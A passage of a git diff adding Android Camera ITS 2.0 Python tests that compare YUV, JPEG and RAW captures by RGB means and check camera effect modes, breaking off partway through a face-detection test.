+    assert cap['format'] == 'jpeg'
+    img = image_processing_utils.decompress_jpeg_to_rgb_image(cap['data'])
+  else:
+    assert cap['format'] == img_type
+    img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  assert cap['width'] == size[0]
+  assert cap['height'] == size[1]
+
+  if debug:
+    image_processing_utils.write_image(img, '%s_%s_w%d_h%d.jpg'%(
+        os.path.join(log_path, NAME), img_type, size[0], size[1]))
+  if img_type == 'jpg':
+    assert img.shape[0] == size[1]
+    assert img.shape[1] == size[0]
+    assert img.shape[2] == 3
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  rgb = image_processing_utils.compute_image_means(patch)
+  logging.debug('Captured %s %dx%d rgb = %s',
+                img_type, cap['width'], cap['height'], str(rgb))
+  return rgb
+
+
+class YuvJpegAllTest(its_base_test.ItsBaseTest):
+  """Test reported sizes & fmts for YUV & JPEG caps return similar images."""
+
+  def test_yuv_jpeg_all(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+      log_path = self.log_path
+      debug = self.debug_mode
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Use a manual request with a linear tonemap so that the YUV and JPEG
+      # should look the same (once converted by the image_processing_utils).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      rgbs = []
+      for size in capture_request_utils.get_available_output_sizes(
+          'yuv', props):
+        rgbs.append(do_capture_and_extract_rgb_means(
+            req, cam, size, 'yuv', log_path, debug))
+
+      for size in capture_request_utils.get_available_output_sizes(
+          'jpg', props):
+        rgbs.append(do_capture_and_extract_rgb_means(
+            req, cam, size, 'jpg', log_path, debug))
+
+      # Plot means vs format
+      pylab.figure(NAME)
+      pylab.title(NAME)
+      pylab.plot(range(len(rgbs)), [r[0] for r in rgbs], '-ro')
+      pylab.plot(range(len(rgbs)), [g[1] for g in rgbs], '-go')
+      pylab.plot(range(len(rgbs)), [b[2] for b in rgbs], '-bo')
+      pylab.ylim([0, 1])
+      pylab.xlabel('format number')
+      pylab.ylabel('RGB avg [0, 1]')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+      # Assert all captured images are similar in RBG space
+      max_diff = 0
+      for rgb_i in rgbs[1:]:
+        rms_diff = image_processing_utils.compute_image_rms_difference(
+            rgbs[0], rgb_i)  # use first capture as reference
+        max_diff = max(max_diff, rms_diff)
+      msg = 'Max RMS difference: %.4f' % max_diff
+      logging.debug('%s', msg)
+      e_msg = msg + ' spec: %.3f' % THRESHOLD_MAX_RMS_DIFF
+      assert max_diff < THRESHOLD_MAX_RMS_DIFF, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_dng.py b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_dng.py
new file mode 100644
index 0000000..d55ab93
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_dng.py
@@ -0,0 +1,74 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+
+
+class YuvPlusDngTest(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both DNG and YUV outputs."""
+
+  def test_yuv_plus_dng(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw(props) and
+          camera_properties_utils.read_3a(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create requests
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(mono_camera=mono_camera)
+      req = capture_request_utils.auto_capture_request()
+      max_dng_size = capture_request_utils.get_available_output_sizes(
+          'raw', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_dng_size)[0]
+      out_surfaces = [{'format': 'dng'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_dng, cap_yuv = cam.do_capture(req, out_surfaces)
+
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(
+          img, '%s_yuv.jpg' % os.path.join(log_path, NAME))
+
+      with open('%s.dng'%(os.path.join(log_path, NAME)), 'wb') as f:
+        f.write(cap_dng['data'])
+
+      # No specific pass/fail check; test assumed to succeed if it completes.
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_jpeg.py b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_jpeg.py
new file mode 100644
index 0000000..c40e486
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_jpeg.py
@@ -0,0 +1,103 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESHOLD_MAX_RMS_DIFF = 0.01
+
+
+def compute_means_and_save(cap, img_name, log_path):
+  """Compute the RGB means of a capture.
+
+  Args:
+    cap: 'YUV' or 'JPEG' capture
+    img_name: text for saved image name
+    log_path: path for saved image location
+  Returns:
+    RGB means
+  """
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, True)
+  image_processing_utils.write_image(
+      img, '%s_%s.jpg' % (os.path.join(log_path, NAME), img_name))
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  rgb_means = image_processing_utils.compute_image_means(patch)
+  logging.debug('%s rbg_means: %s', img_name, rgb_means)
+  return rgb_means
+
+
+class YuvPlusJpegTest(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both YUV and JPEG outputs."""
+
+  def test_yuv_plus_jpeg(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create requests
+      max_jpeg_size = capture_request_utils.get_available_output_sizes(
+          'jpeg', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_jpeg_size)[0]
+      fmt_yuv = {'format': 'yuv', 'width': w, 'height': h}
+      fmt_jpg = {'format': 'jpeg'}
+
+      # Use a manual request with a linear tonemap so that the YUV and JPEG
+      # should look the same (once converted by the image_processing_utils).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(s, e, 0.0, True, props)
+
+      cap_yuv, cap_jpg = cam.do_capture(req, [fmt_yuv, fmt_jpg])
+      rgb_means_yuv = compute_means_and_save(cap_yuv, 'yuv', log_path)
+      rgb_means_jpg = compute_means_and_save(cap_jpg, 'jpg', log_path)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_jpg)
+      logging.debug('RMS difference: %.3f', rms_diff)
+      e_msg = 'RMS difference: %.3f, spec: %.2f' % (rms_diff,
+                                                    THRESHOLD_MAX_RMS_DIFF)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw.py b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw.py
new file mode 100644
index 0000000..e816a80
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw.py
@@ -0,0 +1,103 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
+
+class YuvPlusRawTest(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both RAW and YUV outputs."""
+
+  def test_yuv_plus_raw(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # look the same (once converted by the image_processing_utils module).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
+
+      mode = req['android.shading.mode']
+      logging.debug('shading mode: %d', mode)
+
+      max_raw_size = capture_request_utils.get_available_output_sizes(
+          'raw', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_raw_size)[0]
+      out_surfaces = [{'format': 'raw'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
+
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(img, '%s_shading=%d_yuv.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_yuv = image_processing_utils.compute_image_means(patch)
+
+      # RAW shots are 1/2 x 1/2 smaller after conversion to RGB, but patch
+      # cropping is relative.
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap_raw, props=props)
+      image_processing_utils.write_image(img, '%s_shading=%d_raw.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_raw = image_processing_utils.compute_image_means(patch)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_raw)
+      msg = 'RMS diff: %.4f, spec: %.3f' % (rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      logging.debug('%s', msg)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw10.py b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw10.py
new file mode 100644
index 0000000..f1f0d83
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw10.py
@@ -0,0 +1,103 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
+
+class YuvPlusRaw10Test(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both RAW10 and YUV outputs."""
+
+  def test_yuv_plus_raw10(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw10(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # look the same (once converted by the image_processing_utils module).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
+
+      mode = req['android.shading.mode']
+      logging.debug('shading mode: %d', mode)
+
+      max_raw10_size = capture_request_utils.get_available_output_sizes(
+          'raw10', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_raw10_size)[0]
+      out_surfaces = [{'format': 'raw10'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
+
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(img, '%s_shading=%d_yuv.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_yuv = image_processing_utils.compute_image_means(patch)
+
+      # RAW shots are 1/2 x 1/2 smaller after conversion to RGB, but patch
+      # cropping is relative.
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap_raw, props=props)
+      image_processing_utils.write_image(img, '%s_shading=%d_raw10.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_raw = image_processing_utils.compute_image_means(patch)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_raw)
+      msg = 'RMS diff: %.4f, spec: %.3f' % (rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      logging.debug('%s', msg)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw12.py b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw12.py
new file mode 100644
index 0000000..a80b3e4
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_yuv_plus_raw12.py
@@ -0,0 +1,103 @@
+# Copyright 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+THRESHOLD_MAX_RMS_DIFF = 0.035
+
+
+class YuvPlusRaw12Test(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both RAW12 and YUV outputs."""
+
+  def test_yuv_plus_raw12(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw12(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # look the same (once converted by the image_processing_utils module).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
+
+      mode = req['android.shading.mode']
+      logging.debug('shading mode: %d', mode)
+
+      max_raw12_size = capture_request_utils.get_available_output_sizes(
+          'raw12', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_raw12_size)[0]
+      out_surfaces = [{'format': 'raw12'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
+
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(img, '%s_shading=%d_yuv.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_yuv = image_processing_utils.compute_image_means(patch)
+
+      # RAW shots are 1/2 x 1/2 smaller after conversion to RGB, but patch
+      # cropping is relative.
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap_raw, props=props)
+      image_processing_utils.write_image(img, '%s_shading=%d_raw12.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_raw = image_processing_utils.compute_image_means(patch)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_raw)
+      msg = 'RMS diff: %.4f, spec: %.3f' % (rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      logging.debug('%s', msg)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene2_a/scene2_a.pdf b/apps/CameraITS2.0/tests/scene2_a/scene2_a.pdf
new file mode 100644
index 0000000..f4f94e6
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/scene2_a.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_a/scene2_a_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_a/scene2_a_0.5x_scaled.pdf
new file mode 100644
index 0000000..de036b6
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/scene2_a_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_a/scene2_a_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene2_a/scene2_a_0.67x_scaled.pdf
new file mode 100644
index 0000000..7b64817
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/scene2_a_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene2_a/test_effects.py b/apps/CameraITS2.0/tests/scene2_a/test_effects.py
new file mode 100644
index 0000000..d5bfcab
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/test_effects.py
@@ -0,0 +1,130 @@
+# Copyright 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+# android.control.availableEffects possible values
+EFFECTS = {0: 'OFF',
+           1: 'MONO',
+           2: 'NEGATIVE',
+           3: 'SOLARIZE',
+           4: 'SEPIA',
+           5: 'POSTERIZE',
+           6: 'WHITEBOARD',
+           7: 'BLACKBOARD',
+           8: 'AQUA'}
+MONO_UV_SPREAD_MAX = 2  # max spread for U & V channels [0:255] for mono image
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+VGA_W, VGA_H = 640, 480
+YUV_MAX = 255  # normalization number for YUV images [0:1] --> [0:255]
+YUV_UV_SPREAD_ATOL = 10  # min spread for U & V channels [0:255] for color image
+YUV_Y_SPREAD_ATOL = 50  # min spread for Y channel [0:255] for color image
+
+
+class EffectsTest(its_base_test.ItsBaseTest):
+  """Test effects.
+
+  Test: capture frame for supported camera effects and check if generated
+  correctly. Note we only check effects OFF and MONO currently. Other effects
+  do not have standardized definitions, so they are not tested.
+  However, the test saves images for all supported effects.
+  """
+
+  def test_effects(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      mono_camera = camera_properties_utils.mono_camera(props)
+
+      # Calculate camera_fov which will determine the image to load on tablet.
+      camera_fov = cam.calc_camera_fov(props)
+      file_name = cam.get_file_name_to_load(self.chart_distance, camera_fov,
+                                            self.scene)
+      logging.debug('Displaying %s on the tablet', file_name)
+
+      # Display the scene on the tablet depending on camera_fov.
+      self.tablet.adb.shell(
+          'am start -a android.intent.action.VIEW -d file:/sdcard/Download/%s'%
+          file_name)
+
+      # Determine available effects and run test(s)
+      effects = props['android.control.availableEffects']
+      camera_properties_utils.skip_unless(effects != [0])
+      cam.do_3a(mono_camera=mono_camera)
+      logging.debug('Supported effects: %s', str(effects))
+      failed = []
+      for effect in effects:
+        req = capture_request_utils.auto_capture_request()
+        req['android.control.effectMode'] = effect
+        fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+        cap = cam.do_capture(req, fmt)
+
+        # Save image of each effect
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        img_name = '%s_%s.jpg' % (os.path.join(self.log_path,
+                                               NAME), EFFECTS[effect])
+        image_processing_utils.write_image(img, img_name)
+
+        # Simple checks
+        if effect == 0:
+          logging.debug('Checking effects OFF...')
+          y, u, v = image_processing_utils.convert_capture_to_planes(cap, props)
+          y_min, y_max = np.amin(y)*YUV_MAX, np.amax(y)*YUV_MAX
+          e_msg = 'Y_range: %.2f,%.2f THRESH: %d; ' % (
+              y_min, y_max, YUV_Y_SPREAD_ATOL)
+          if (y_max-y_min) < YUV_Y_SPREAD_ATOL:
+            failed.append({'effect': EFFECTS[effect], 'error': e_msg})
+          if not mono_camera:
+            u_min, u_max = np.amin(u) * YUV_MAX, np.amax(u) * YUV_MAX
+            v_min, v_max = np.amin(v) * YUV_MAX, np.amax(v) * YUV_MAX
+            e_msg += 'U_range: %.2f,%.2f THRESH: %d; ' % (
+                u_min, u_max, YUV_UV_SPREAD_ATOL)
+            e_msg += 'V_range: %.2f,%.2f THRESH: %d' % (
+                v_min, v_max, YUV_UV_SPREAD_ATOL)
+            if ((u_max - u_min) < YUV_UV_SPREAD_ATOL or
+                (v_max - v_min) < YUV_UV_SPREAD_ATOL):
+              failed.append({'effect': EFFECTS[effect], 'error': e_msg})
+        elif effect == 1:
+          logging.debug('Checking MONO effect...')
+          _, u, v = image_processing_utils.convert_capture_to_planes(cap, props)
+          u_min, u_max = np.amin(u)*YUV_MAX, np.amax(u)*YUV_MAX
+          v_min, v_max = np.amin(v)*YUV_MAX, np.amax(v)*YUV_MAX
+          e_msg = 'U_range: %.2f,%.2f; V_range: %.2f,%.2f; TOL: %d' % (
+              u_min, u_max, v_min, v_max, MONO_UV_SPREAD_MAX)
+          if ((u_max - u_min) > MONO_UV_SPREAD_MAX or
+              (v_max - v_min) > MONO_UV_SPREAD_MAX):
+            failed.append({'effect': EFFECTS[effect], 'error': e_msg})
+      if failed:
+        logging.error('Failed effects:')
+        for fail in failed:
+          logging.error(' %s: %s', fail['effect'], fail['error'])
+      assert not failed
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene2_a/test_faces.py b/apps/CameraITS2.0/tests/scene2_a/test_faces.py
new file mode 100644
index 0000000..bd7d3bc
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene2_a/test_faces.py
@@ -0,0 +1,178 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_TEST_FRAMES = 20
+FD_MODE_OFF = 0
+FD_MODE_SIMPLE = 1
+FD_MODE_FULL = 2
+W, H = 640, 480
+
+
+def check_face_bounding_box(rect, aa_w, aa_h):
+  """Check that face bounding box is within the active array area."""
+  rect_t = rect['top']
+  rect_b = rect['bottom']
+  rect_l = rect['left']
+  rect_r = rect['right']
+  if rect_t > rect_b:
+    raise AssertionError(f'Face top > bottom! t: {rect_t}, b: {rect_b}')
+  if rect_l > rect_r:
+    raise AssertionError(f'Face left > right! l: {rect_l}, r: {rect_r}')
+
+  if not 0 <= rect_l <= aa_w:
+    raise AssertionError(f'Face l: {rect_l} outside of active W: 0,{aa_w}')
+  if not 0 <= rect_r <= aa_w:
+    raise AssertionError(f'Face r: {rect_r} outside of active W: 0,{aa_w}')
+  if not 0 <= rect_t <= aa_h:
+    raise AssertionError(f'Face t: {rect_t} outside active H: 0,{aa_h}')
+  if not 0 <= rect_b <= aa_h:
+    raise AssertionError(f'Face b: {rect_b} outside active H: 0,{aa_h}')
+
+
+def check_face_landmarks(face):
+  """Check that face landmarks fall within face bounding box."""
